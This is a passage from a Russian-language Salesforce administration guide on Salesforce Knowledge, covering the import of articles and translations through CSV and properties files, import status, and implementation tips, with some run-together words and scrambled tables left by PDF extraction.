организациюназначенарольгенеральногодиректора, которойпредоставленполный
доступ ко всем категориям данных в группе категорий, назначенной Salesforce
Knowledge, то пользователям партнерского портала также могут быть доступны все
категории в базе знаний. В некоторых случаях категории, доступные пользователю
партнерского портала, могут быть ограничены.

6. Уведомите пользователей, создающих статьи, о необходимости выбора канала
«Партнер»присозданииилиизменениистатьи. Впротивномслучае статьянебудет
опубликована на портале.

7. Чтобыразрешитьпользователямпоиск статейна вкладке «Начальная страница», добавьте компонент «Поиск статей»
в макет начальной страницы. Убедитесь, что макет назначен профилям пользователей-партнеров.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Импорт статей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Текущиестатьииихпереводымогутбытьимпортированыв Salesforce Knowledge. Данное
средство импорта предназначено для статей и переводов, которые в настоящее время
доступны за пределами Salesforce Knowledge.

Прим.: Дополнительную информацию об импорте переведенный статей,
отправленных поставщику перевода, см. в разделе «Импорт переводов статьи» на
странице 3050.

Чтобы импортировать статьи, выполните действия ниже после настройки Salesforce
Knowledge.

1. Подготовка статей к импорту в Salesforce Knowledge

2. Создание CSV-файла для импорта статьи

3. Определение параметров импорта статьи

4. Создание архивного файла для импорта статьи

5. Просмотр статуса импорта и экспорта Salesforce Knowledge

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Подготовка статей к импорту в Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Важное замечание: Импорт статей должен выполняться только по одному типу
статьи.

Чтобы подготовить статьи к импорту, выполните указанные ниже действия.

1. Отсортируйте текущие статьи по типу сведений. Например: вопросы и ответы,
сведения о продукте или предложение.

2. Убедитесь, что каждому типу сведенийсоответствует тип статьи Salesforce Knowledge,
аихструктураисодержимоеполностьюсовпадают. Например, приимпортевопросов
и ответов убедитесь, что Salesforce Knowledge использует тип статьи «Вопросы и
ответы», содержащий достаточное количество полей вопросов и ответов для
обработки больших статей данного типа.

Прим.: Средство импорта статей не поддерживает подполя. Прежде чем
импортировать подполя в Salesforce Knowledge, рекомендуем настроить их
структуру и содержимое.

3. Убедитесь, что параметры безопасности поля, заданные для статьи, разрешают
редактирование полей.

Еслистатьисодержат HTML-файлы, рекомендуемиспользоватьтипстатьи, содержащий
поле типа «Область обогащенного текста». Кроме того, убедитесь, что используемые
HTML-файлысовместимыстегамииатрибутами, поддерживаемымиполемтипа «Область
обогащенного текста».

Совет: Чтобы выполнить пробный импорт, воспользуйтесь небольшимнабором
статей.

СМ. ТАКЖЕ:

Импорт статей

Создание CSV-файла для импорта статьи
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Создание CSV-файла для импорта статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Каждый CSV-файл импортирует статьи в один тип статьи и соотносит содержимое
импортированныхстатейсполямитипа статьи. Например, CSV-файлможет соотносить
заголовки статей со стандартным полем типа статьи «Заголовок», то есть, заголовок
каждой статьи импортируется в поле «Заголовок».

1. Создайте один CSV-файл для типа статьи.

• Файл импорта может содержать только один CSV-файл и один файл .properties.

• CSV-файл и файл .properties должны храниться в корневом каталоге.

• Структура папок и подпапок должна быть сохранена при сжатии.

• Имя архивного файла не может содержать специальные символы.

• Размер архивного файла не должен превышать 10 Мб, а размер
разархивированныхфайлов — 100 Мб.

• CSV-файлы могут содержать не более 10 000 строк, включая строку заголовка.
Таким образом, общее количество статей и переводов не должно превышать
9 999.

• Строки CSV-файла могут содержать не более 400 000 символов.

• Размер ячеек CSV-файла должен составлять не более 32 Кб.

• Каждой статье в CSV-файле может быть назначено не более 49 переводов.

2. Укажите поля и метаданные типа статьи в первой строке (например, язык, категории
данных или каналы). Введите один элемент в каждый столбец. Ниже перечислены
поля и метаданные, которые могут использоваться для импорта содержимого.

• «Является основным языком»: определите статус статьи — основная (1) или
перевод (0). Данный столбец является обязательным для импорта статей с
переводами, но должен отсутствовать в CSV-файле при импорте статей без
переводов. Переводы должны следовать за связанными основными статьями.

• «Заголовок»: заголовок статьи или перевода. Данный столбец является
обязательным для всех импортов.

• Стандартные или настраиваемые поля: обращение к стандартным полям типа
статьи посредством имен полей и настраиваемым полям посредством имен API.
Пропуск ячейки строки может инициировать пропуск статей, если связанное
поле типа статьи является обязательным.

• Поле типа «Область обогащенного текста»: чтобы импортировать HTML-файлы
или изображения, воспользуйтесь настраиваемыми полями типа «Область
обогащенного текста». Обращение кполютипа «Область обогащенного текста»
типа статьи посредством имени API.

• Файловое поле: чтобыимпортироватьфайлы любого типа (например, DOC, PDF,
TXT и т. д.), воспользуйтесь файловыми настраиваемыми полями. Обращение к
файловому полю типа статьи посредством имени API.

• Чтобы категоризировать импортированные статьи, воспользуйтесь группами
категорий; обращениек группекатегорийпосредствомуникальногоимениспрефиксом datacategorygroup..
Например, чтобы задать группу категорий «Продукты», воспользуйтесь уникальным именем
datacategorygroup.Products.

• Чтобыопределитьобластииспользованияимпортированныхстатей, воспользуйтесьключевымсловом «Каналы».
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• Язык: выберите язык статей. Данный столбец является обязательным для импорта статей с переводами. Данный
столбецявляется дополнительнымдляимпорта статейбезпереводов. Еслиданныйстолбецотсутствует, то статьям
автоматически назначается язык базы знаний по умолчанию, а переводы не могут быть импортированы вместе с
основными статьями.

3. Укажитенужныестатьивпоследующихстроках. Выберитеодну строку для каждойстатьиивведите соответствующие
сведения в каждый столбец поля типа статьи или метаданных.

• Стандартные или настраиваемые поля: введите данные статей для каждого поля, кроме поля типа «Область
обогащенного текста», которое должно содержать относительный путь к соответствующему HTML-файлу архива.

Прим.: Средствоимпорта статейнеподдерживаетподполя. Преждечемимпортироватьподполяв Salesforce
Knowledge, рекомендуем настроить их структуру и содержимое.

• Поле типа «Область обогащенного текста»: введите путь к HTML-файлу относительно расположения CSV-файла.
Разрешается вводить только обработанный текст. Если указанный путь не существует, то связанная статья не
импортируется.Ниже перечислены рекомендации по импорту HTML-файлов и изображений.

– Рекомендуемсоздатьотдельнуюпапкудля HTML-файлов (например, /data) иотдельнуюпапкудляизображений
(например, data/images).

– Чтобы импортировать изображения, добавьте их в HTML-файл посредством тега <img> и атрибута src.
Убедитесь, чтозначениеатрибута src соответствуетотносительномупутиот HTML-файлакпапкеизображений.

– Допустимые форматы изображения: PNG, GIF и JPEG.

– Размер каждого файла изображения не должен превышать 1 Мб.

– Размер HTML-файла не должен превышать максимальный размер поля.

– Если дата не соответствуетформату даты, указанному вфайле свойств, то связанная статья не импортируется.

– Если HTML-файл ссылается на запрещенныйфайл, то связанная статья не импортируется.

– Если HTML-файлссылаетсянаотсутствующееизображение, тосвязаннаястатьяимпортируетсябезизображения.

• Файловое поле: введите относительный путь к файлу. Если указанный путь не существует, то связанная статья не
импортируется.Ниже перечислены рекомендации по импорту файлов.

– Рекомендуем создать папку для собственных файлов (например, /files).

– Размер каждого файла не должен превышать 5 Мб.

• Группы категорий: чтобы категоризировать статьи, воспользуйтесь уникальными именами категорий. Чтобы
задатьнесколькокатегорий, воспользуйтесьсимволомплюса (+). Например, Laptop+Desktop. Нижеперечислены
рекомендации по использованию групп категорий данных.

– Пропуск строки инициирует назначение статье категории «Нет категорий».

– Привыборекатегориииееродителя (например, «Европа+Франция») процессимпортапропускаетдочернюю
категорию «Франция» и сохраняет родительскую категорию «Европа», так как использование родительской
категории подразумевает использование дочерних категорий.

– Статьи, импортируемыеспереводамиисвязаннымикатегориямиданных, сохраняюткатегорииданныхтолько
в том случае, если являются основными. Импортируемые переводы статьи не имеют связанных категорий
данных.

• Каналы: чтобы задать каналы статей, воспользуйтесь перечисленными ниже ключевыми словами.

– application: внутреннееприложение. Есликаналнеуказан, тоключевоеслово application используется
по умолчанию.

– sites: общедоступная база знаний.

3114

Добавление Salesforce KnowledgeНастройка и обслуживание инструментов службы поддержки



– csp: клиент.

– prm: партнер.

Чтобы задать несколько каналов, воспользуйтесь символом плюса (+). Например, чтобы предоставить доступ к
статье во всех каналах, введите ключевые слова application+sites+csp.

Прим.: Статьи, импортируемыеспереводамиисвязаннымиканалами, сохраняютканалытольков томслучае,
если являются основными. Импортируемые переводы статьи не имеют связанных каналов.

Нижеприведеныпримеры CSV-файлов, которые импортируют статьи в тип статьи «Предложениепопродукту». Первый
примеротносится кимпорту статейбез переводов. Второйпримеротносится кимпорту статей спереводами. CSV-файлы
содержат заголовки, краткое и полное описания. Кроме того, файлы классифицируют статьи в группе категорий
«Продукты» и предоставляют доступ в определенных каналах. Поле description__c — это поле типа «Область
обогащенного текста», которое поддерживает только пути к HTML-файлам. Поле summary__c — это текстовое поле,
которое поддерживает только обработанный текст. Статья Best Desktop Computer Deals не содержит краткого описания;
соответствующая ячейка пропускается, так как поле summary__c является необязательным.

Каналыdatacategorygroup.Productsdescription__csummary__cЗаголовок

application+cspConsumer_Electronicsdata/freecam.htmlGet the new Digital
Camera.

Free Digital Camera Offer

application+cspDesktopdata/bestdeals.htmlBest Desktop Computer
Deals

application+cspLaptop+Desktopsdata/freeship.htmlFree Shipping on Laptop
and Desktops

Пример файла articlesimport.csv:

Title,summary__c,description__c,datacategorygroup.Products,Channels
Free Digital Camera Offer, Get the new Digital
Camera.,data/freecam.html,Consumer_Electronics,application+csp
Best Desktop Computer Deals,,data/bestdeals.html,Desktop,application+csp
Free Shipping on Laptop and Desktops,,data/freeship.html,Laptop+Desktops,application+csp

ЯзыкКаналыdatacategorygroup.Productsdescription__csummary__cЗаголовокЯвляется
основным
языком

en_USapplication+cspConsumer_Electronicsdata/freecam.htmlGet the new Digital Camera.Free Digital Camera Offer1

frdata/freecam/fr.htmlObtenir le nouvel Appareil
photo digital.

Libérer l'Offre d'Appareil
photo digital

0

esdata/freecam/es.htmlConsiga la nueva Cámara
Digital.

Liberte Oferta Digital de
Cámara

0

en_USapplication+cspНастольныекомпьютерыdata/bestdeals.htmlBest Desktop Computer
Deals

1

frdata/bestdeals/fr.htmlMeilleures Affaires
d'ordinateurs de bureau

0

esdata/bestdeals/es.htmlMejores Tratos de
ordenadores

0
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ЯзыкКаналыdatacategorygroup.Productsdescription__csummary__cЗаголовокЯвляется
основным
языком

en_USapplication+cspLaptops+Desktopsdata/freeship.htmlFree Shipping on Laptops
and Desktops

1

frdata/freeship/fr.htmlLibérer Affranchissement sur
Portables et Ordinateurs

0

esdata/freeship/es.htmlLiberte Franqueo en Laptops
y Ordenadores

0

Пример файла articlestranslationsimport.csv:

isMasterLanguage,Title,summary__c,description__c,datacategorygroup.Products,Channels,Language
1,Free Digital Camera Offer,Get the new Digital
Camera,data/freecam.html,Consumer_Electronics,application+csp,en
0,Libérer l'Offre d'Appareil photo digital,Obtenir le nouvel Appareil photo
digital.,data/freecam/fr.html,,,fr
0,Liberte Oferta Digital de Cámara,Consiga la nueva Cámara Digital.,data/freecam/es.html,,,es
1,Best Desktop Computer Deals,,data/bestdeals.html,Desktops,application+csp,en
0,Meilleures Affaires d'ordinateurs de bureau,,data/bestdeals/fr.html,,,fr
0,Mejores Tratos de ordenadores,,data/bestdeals/es.html,,,es
1,Free Shipping on Laptop and
Desktops,,data/freeship.html,Laptops+Desktops,application+csp,en
0,Libérer Affranchissement sur Portables et Ordinateurs,,data/freeship/fr.html,,,fr
0,Liberte Franqueo en Laptops y Ordenadores,,data/freeship/es.html,,,es

СМ. ТАКЖЕ:

Импорт статей

Подготовка статей к импорту в Salesforce Knowledge

Определение параметров импорта статьи
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Определение параметров импорта статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Чтобы задать параметры импорта в файле свойств, воспользуйтесь именами ключей и
соответствующими значениями. Например, чтобы использовать формат
DateFormat=дд/ММ/ГГГГ для отображения настраиваемого поля даты или задать
кодировку для импорта, воспользуйтесь ключом DateFormat.

Создайте файл с расширением .properties. Чтобы задать нужные параметры,
воспользуйтесь таблицей ниже.

Стандартное значениеОписаниеКлюч

гггг-ММ-ддФормат даты,
отображаемыйв CSV-файле.

DateFormat

гггг-ММ-дд ЧЧ:мм:ссФормат даты и времени,
отображаемыйв CSV-файле.

DateTimeFormat

ISO8859_15_FDISКодировка, используемая
для чтения CSV-файла.

CSVEncoding

,Разделитель CSV-файла.CSVSeparator

ISO8859_15_FDISСтандартная кодировка
HTML-файлов (если не
указана в атрибуте
charset  HTML-тега meta).

RTAEncoding

Прим.: Система
Salesforce не
поддерживает
кодировку символов
UTF-32. Рекомендуем
использовать
кодировку UTF-8. При
использовании
кодировки UTF-16
убедитесь, что
HTML-файлы
содержат
правильную метку
последовательности
байтов.

Прим.: Рекомендуем указывать только форматы даты Java. Убедитесь в
правильности формата даты. Например, при выборе формата «гггг-М-д» дата,
введеннаякак 2011111, можетбытьобработанакак 2011-01-11 или 2011-11-01. Укажите
как минимум:

• Две цифры месяца и дня (ММ, дд)

• Четыре цифры года (гггг)
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Если дата, указанная в CSV-файле, не соответствует формату даты, указанному в файле свойств, то связанная статья
не импортируется.

Пример файла свойств offerarticlesimport.properties:

DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8

СМ. ТАКЖЕ:

Импорт статей

Создание CSV-файла для импорта статьи

Создание архивного файла для импорта статьи
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Создание архивного файла для импорта статьи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Чтобы выполнить импорт, создайте архивныйфайл, содержащий указанные ниже
компоненты.

• CSV-файл.

• Папка, содержащая HTML-файлы для импорта.

• Папка, содержащая графические файлы, используемые HTML-файлами.

• Файл .properties.

Ниже перечислены требования, предъявляемые архивнымфайлам импорта.

• Файл импорта может содержать только один CSV-файл и один файл .properties.

• CSV-файл и файл .properties должны храниться в корневом каталоге.

• Структура папок и подпапок должна быть сохранена при сжатии.

• Имя архивного файла не может содержать специальные символы.

• Размер архивногофайла не должен превышать 10 Мб, а размер разархивированных
файлов — 100 Мб.

• CSV-файлы могут содержать не более 10 000 строк, включая строку заголовка. Таким
образом, общее количество статей и переводов не должно превышать 9 999.

• Строки CSV-файла могут содержать не более 400 000 символов.

• Размер ячеек CSV-файла должен составлять не более 32 Кб.

• Каждой статье в CSV-файле может быть назначено не более 49 переводов.

Загрузите архивныйфайл.

1. В меню «Настройка» введите «Импорт статей» в поле «Быстрый поиск», затем
выберите «Импорт статей».

2. Заполните поле «Тип статьи» для импортированных статей.

3. Чтобы выбрать архивныйфайл, нажмите кнопку «Обзор», а затем кнопку «OK».

4. Если импорт содержит переводы, установите флажок «Содержит переводы?».

Прим.: Если данныйфлажок установлен, то CSV-файл должен содержать
столбцы «Является основным языком», «Заголовок» и «Язык». Если данный
флажок не установлен, то CSV-файл должен содержать столбец «Заголовок»,
тогда как столбец «Является основнымязыком» долженотсутствовать. Столбец
«Язык» является необязательным для импортов статей без переводов.

5. Нажмите кнопку «Импортировать!».

Сообщение эл. почты с вложенным журналом, содержащим подробные сведения
об импорте, отправляется по завершении импорта.

СМ. ТАКЖЕ:

Импорт статей

Определение параметров импорта статьи

Просмотр статуса импорта и экспорта Salesforce Knowledge
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Просмотр статуса импорта и экспорта Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для импорта статей:
• «Управление Salesforce

Knowledge»

И

«Управление статьями»

И

«Управление
импортом/экспортом
статей базы знаний»

И

«Чтение», «Создание»,
«Редактирование» и
«Удаление» для типа
статьи

Для просмотра статей:
• «Чтение» для типа

статьи

Для создания статей:
• «Управление статьями»

И

«Чтение» и «Создание»
для типа статьи

Чтобы проверить состояние импорта и экспорта, введите в меню «Настройка» Импорт
статей в поле Быстрый поиск, затем выберитеИмпорт статей. При наличии
многоязычной поддержки Salesforce Knowledge отображаются две таблицы: одна — для
импортов статей и переводов, другая — для экспортов переводов.

Сведения об импорте:

• Возможные действия

• Имена архивных файлов

• Автор и время отправки

• Статус

• Даты начала и завершения

• Типы статей

Сведения об экспорте:

• Возможные действия

• Имена архивных файлов

• Автор и время отправки

• Статус

• Даты начала и завершения

Ниже приведены описания статусов.

Возможное действиеОписаниеСтатус

Чтобы отменить импорт
или экспорт, нажмите
кнопку «Отмена».

Импорт или экспорт
начнется сразу после
завершения предыдущего
отложенного импорта или
экспорта.

Ожидание

Чтобы остановить процесс
или в случае его остановки,
обратитесь в службу
поддержки Salesforce.
Система Salesforce может
остановить импорт или
экспорт, если время его
выполнения превышает
один час или требуется
обслуживание.

Импорт или экспорт
обрабатывается.

Обрабатывается

Чтобы перезапустить
импорт или экспорт,
обратитесь в службу

Служба поддержки
Salesforceостанавливаетили
ужеостановилаимпортили
экспорт.

Останавливается/Остановлено

поддержки Salesforce. Чтобы
отменить импорт или
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Возможное действиеОписаниеСтатус

экспорт, нажмите кнопку «Отмена».

При необходимости перезапустите
импорт или экспорт. Чтобы удалить

Импортили экспортотменен. Статьи,
импорт или экспорт которых

Прервано

импорт или экспорт, щелкните ссылкузавершен, доступны в системе
Salesforce. «Удал.». Чтобы получить электронное

уведомление о завершениипроцесса и
проверить сведения об импорте или
экспорте, щелкните «Журнал
регистрациисообщенийэл. почты».

Обратите внимание, чтоданныйстатус
неопределяетуспешностьвыполнения

Импорт или экспорт завершен.

Импортированные статьи
отображаются на вложенной вкладке

Завершено

импорта или экспорта. Чтобы
просмотреть системный журнал,«Статьи» вкладки «Управление
вложенныйвэлектронноеуведомлениестатьями». Импортированные
о завершении процесса, и проверитьпереводыотображаютсянавложенной
сведения об импорте или экспорте,вкладке «Переводы» вкладки

«Управление статьями».
щелкните «Журнал регистрации
сообщений эл. почты».

Чтобы сохранить или открыть файл в
системе, щелкните имя нужного
экспортированного архивного файла.

СМ. ТАКЖЕ:

Импорт статей

Советы по внедрению Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Salesforce Knowledge is
available for an additional
cost in Enterprise and
Unlimited editions.

Ниже перечисленырекомендациипо планированиюи внедрению Salesforce Knowledge
в организации.

• Дополнительные инструкции по внедрению см. в разделе «Настройка Salesforce
Knowledge» на странице 3020.

• Чтобыпредоставитьпосетителямвеб-сайтадоступк статьям, установитеприложение
«Образец общедоступной базы знаний для Salesforce Knowledge» из каталога AppExchange.

• Статьи не могут оцениваться пользователями общедоступной базы знаний.

• Типнастраиваемогополя «Файл»позволяетприкреплятьдокументык статьям. Ниже
перечислены полезные рекомендации.

– Максимальный размер вложения не должен превышать 25 Мб.

– Каждыйтипстатьиможетсодержатьнеболее 5 файловыхполей. Чтобыувеличить
данное ограничение, обратитесь в компанию Salesforce.

– Если включен параметр безопасности «Запретить HTML-документы и
вложения», то файловые поля не поддерживают использование HTML-файлов.
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– Текстовое содержимое во вложениифайлового поля поддерживает возможность поиска. Поиск может быть
выполнен только по 25 Мб вложенных файлов. Например, если статья содержит шесть файловых вложений
размером 5 Мб, то поиску подлежат только первые 4,16 Мб каждого файла.

– Файловое поле не может использоваться для прикрепления файлов Salesforce CRM Content.

– Файловое поле не поддерживается версией Developer Edition.

– Длина имени файла не должна превышать 40 символов.

– Типфайлового поля не может быть преобразован в другой тип данных.

• Преобразование настраиваемого поля типа статьи в поле любого другого типа инициирует потерю данных.
Рекомендуем преобразовывать настраиваемые поля только при отсутствии данных в поле.

• При переименовании меток Salesforce Knowledge обратите внимание, что имена стандартных полей (например,
«Заголовок» и «Тип») не меняются. Данные поля не меняют метки на страницах создания и редактирования статей.
При изменении языка организации данные поля отображают фиксированные метки на выбранном языке.

• Механизм поиска Salesforce Knowledge поддерживает лемматизацию, то есть процесс усечение слова до его основы.
Благодаря лемматизации, поиск может обрабатывать расширенные формы поискового термина. Например, поиск
по запросу «бег» возвращает элементы, содержащие слова «бегать», «бегун» и «бегом». Лемматизация доступна только
для статейна следующихязыках: датский, голландский, английский, французский, немецкий, еврейский, итальянский,
корейский, норвежский, португальский, румынский, русский, испанскийишведский. Кроме того, поиск долженбыть
инициирован пользователем, просматривающим приложение на одном из данных языков. Стандартный язык
организации может быть изменен на странице «Сведения о компании».

• Убедитесь в правильном понимании типов статей, применяемых организацией, и способов их использования. Тип
статьи определяет полномочия и действия над статьей, которые должны быть назначены пользователям Salesforce
Knowledge и могут затем использоваться для создания группы профилей или наборов полномочий, требуемых
организацией. Дополнительнуюинформацию см. в разделе «Предоставление полномочий пользователям Salesforce
Knowledge» на странице 3088.

• Определите необходимость создания бизнес-правил для некоторых типов статей. Например, создайте правило,
отправляющее менеджеру статей электронное предупреждение о создании статьи при закрытии обращения.

• Определите необходимость создания процессов утверждения для некоторых типов статей. Например, создайте
процесс утверждения для типа статьи, который публикуется только после утвержденияюристами и руководителями
компании.

Ниже перечислены рекомендации по использованию категорий данных.

• Пользователь может создать не более трех групп категорий, каждая из которых содержит не более пяти уровней
иерархии. Каждая группа категорий может содержать не более 100 категорий.

• Если требуется использовать категории данных с ответами, то после создания группы категорий необходимо
обязательноназначитьее вменю «Настройка». Дляэтогонужноввести «Назначения категорий данных» вполе «Быстрый
поиск», затем выбрать «Назначения категорий данных» в разделе «Ответы». Сообществу ответов может быть
назначена только одна группа категорий. Salesforce Knowledge поддерживает несколько групп категорий.

• Группакатегорийпозволяетсоздаватьдопятииерархическихуровнейкатегорий, носообществоответовподдерживает
только первый уровень категорий. Дочерние категории, расположенные ниже первого уровня, не отображаются в
сообществе, поэтому не могут быть назначены вопросам. Salesforce Knowledge поддерживает иерархию категорий
данных.

• Группы категорий доступны пользователям только после активации. Группа категорий может быть активирована
только после определения ее категорий и их параметров доступа, включая доступность.

• Статье может быть назначено не более восьми категорий одной группы.
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• Некатегоризированная статья отображается только при выборе значения «Нет фильтра» в раскрывающемся меню
категорий.

• Выборкатегорииприпоиске статейилипереводов автоматическиинициируетдобавлениеродительскойидочерних
категорий, а также любых прародительских категорий вплоть до верхнего уровня. Одноуровневые категории не
добавляются. Например, иерархия категорий содержит уровни «Все продукты», «Коммутаторы», «Оптические сети»
и «Сетевое оборудование». Таким образом, выбор категории «Оптические сети» в раскрывающемся меню категорий
возвращает статьи, назначенные любым четырем категориям. Однако, если категория «Коммутаторы» имеет
одноуровневую категорию «Маршрутизаторы», то выбор категории «Оптические сети» не возвращает статьи,
назначенные категории «Маршрутизаторы». Параметрыдоступности категориймогут ограничить область поиска до
конкретных статей.

• Ниже перечислены действия, выполняемые после выбора параметров доступности категорий.

– Пользователи, которым не назначена доступность, могут просматривать только некатегоризированные статьи и
вопросы, кроме случаев настройки стандартной доступности категорий.

– При использовании ролевой доступности пользователи клиентского и партнерского порталов наследуют
параметры доступности группы категорий, назначенные их менеджерам по умолчанию. Параметры доступности
группы категорий могут быть изменены для каждой роли портала.

– Если пользователю доступна только одна категория из группы категорий, то вкладка «Статьи» не отображает
раскрывающееся меню категорий для данной группы категорий.

• Ниже перечислены последствия удаления категории.

– Необратимое удаление категории. Удаленная категория не может быть восстановлена. Удаленная категория не
перемещается в корзину.

– Необратимое удаление дочерних категорий.

– Удаление категории и ее дочерних категорий со вкладок «Ответы», «Управление статьями» и «Статьи» во всех
каналах и общедоступной базе знаний компании.

– Удалениесвязеймежду категориейистатьямииливопросами. Статьиивопросымогутбытьпереназначеныдругой
категории.

– Удаление ее соотнесения с доступностью. Статьи и ответы, связанные с удаленной категорией, становятся
недоступными пользователям.

• Ниже перечислены последствия удаления группы категорий.

– Перемещение группы категорий в раздел «Удаленные группы категорий», являющийся корзиной. Элементы
данного раздела доступны для просмотра, но недоступны для редактирования. Группы категорий хранятся в
корзинев течение 15 дней, поистечениикоторыхсодержимоекорзиныудаляетсябез возможностивосстановления.
В течение этих 15 дней пользователь может восстановить группу категорий или удалить ее безвозвратно.

– Удаление всех категорий из данной группы.

– Удаление всех связей между категориями группы и статьями или вопросами.

– Удаление всех связей между категориями группы и доступностью.

– Удалениераскрывающегосяменюкатегорийсо вкладки «Статьи» во всех каналах, вкладки «Управление статьями»
и общедоступной базе знаний компании.

• Метки категорий и групп категорий могут быть переведены с помощью средства перевода.

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge
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Рекомендации по использованию Salesforce Knowledge

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Компонент Salesforce
Knowledge доступен в
версиях: Performance
Edition иDeveloper Edition.

Компонент Salesforce
Knowledge доступен за
дополнительную плату в
версиях Enterprise и
Unlimited.

Ниже перечислены рекомендации по планированию и использованию Salesforce
Knowledge.

• Воспользуйтесь преимуществами типов статей как настраиваемых контейнеров для
статей. Систематизация статей по типу позволяет различать содержимое и
предоставлять пользователям более удобный поиск.

• Создайте группы синонимов в Salesforce Knowledge. Синонимы — это слова или
фразы, используемые при поиске статей в качестве эквивалентов, а также
позволяющие оптимизировать результаты поиска.

• Преждечемнастроитькатегорииданных, рекомендуемтщательнопродумать группы
категорийиихиерархию. Кроме того, рекомендуемопределить способ соотнесения
иерархиикатегорийсиерархиейролей. Дополнительнуюинформациюсм. вразделе
«Общие сведения о доступности группы категорий» на странице 3077.

• Создайтенастраиваемыеотчетыподанным Salesforce Knowledge. Принеобходимости
установите приложение «Отчеты и панели мониторинга базы знаний» из каталога
AppExchange, содержащее более 20 полезных отчетов.

• Статьяможетодновременноредактироватьсянесколькимипользователями. Несмотряначастоесохранение, внесенные
изменения могут быть перезаписаны коллегой без предупреждения. Чтобы избежать случайной потери данных,
сообщите всем пользователям, редактирующим статьи, о необходимости редактирования только назначенных им
статей.

• Просмотрите текущие ограничения для статей, типов статей и категорий данных.

• Чтобыпросмотретьтекущиепоказателииспользованияхранилища, вменю «Настройка» введитестроку «Использование
хранилища» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Использование хранилища».

СМ. ТАКЖЕ:

Настройка Salesforce Knowledge

3124

Добавление Salesforce KnowledgeНастройка и обслуживание инструментов службы поддержки



Добавление решений

Общие сведения об HTML-решениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания решений:
• «Создание» для решений

HTML-решения поддерживают форматирование абзацев и вставку изображений или
ссылок, поэтому позволяют быстро создавать решения даже самым неопытным
пользователям. HTML-решения создаютсяпосредствомредактора HTML иотображаются
в системе Salesforce, на портале самообслуживания и клиентском портале, а также в
качестве общедоступных решений.

Ниже перечислены действия, поддерживаемые редактором HTML.

• Изменение шрифтов

• Изменение размера шрифта

• Вставка изображений с вкладки «Документы»

• Выбор цвета текста

• Настройка фонового цвета текста

• Вставка гиперссылок

• Выравнивание абзацев

• Создание маркированных и нумерованных списков

Прим.: Поумолчаниюрешения создаются и отображаются в текстовомформате.
Поддержка HTML-решений может быть включена администратором.

Прежде чем перейти к созданию HTML-решений для организации, просмотрите указанные ниже советы и рекомендации
по внедрению.

Советы по внедрению
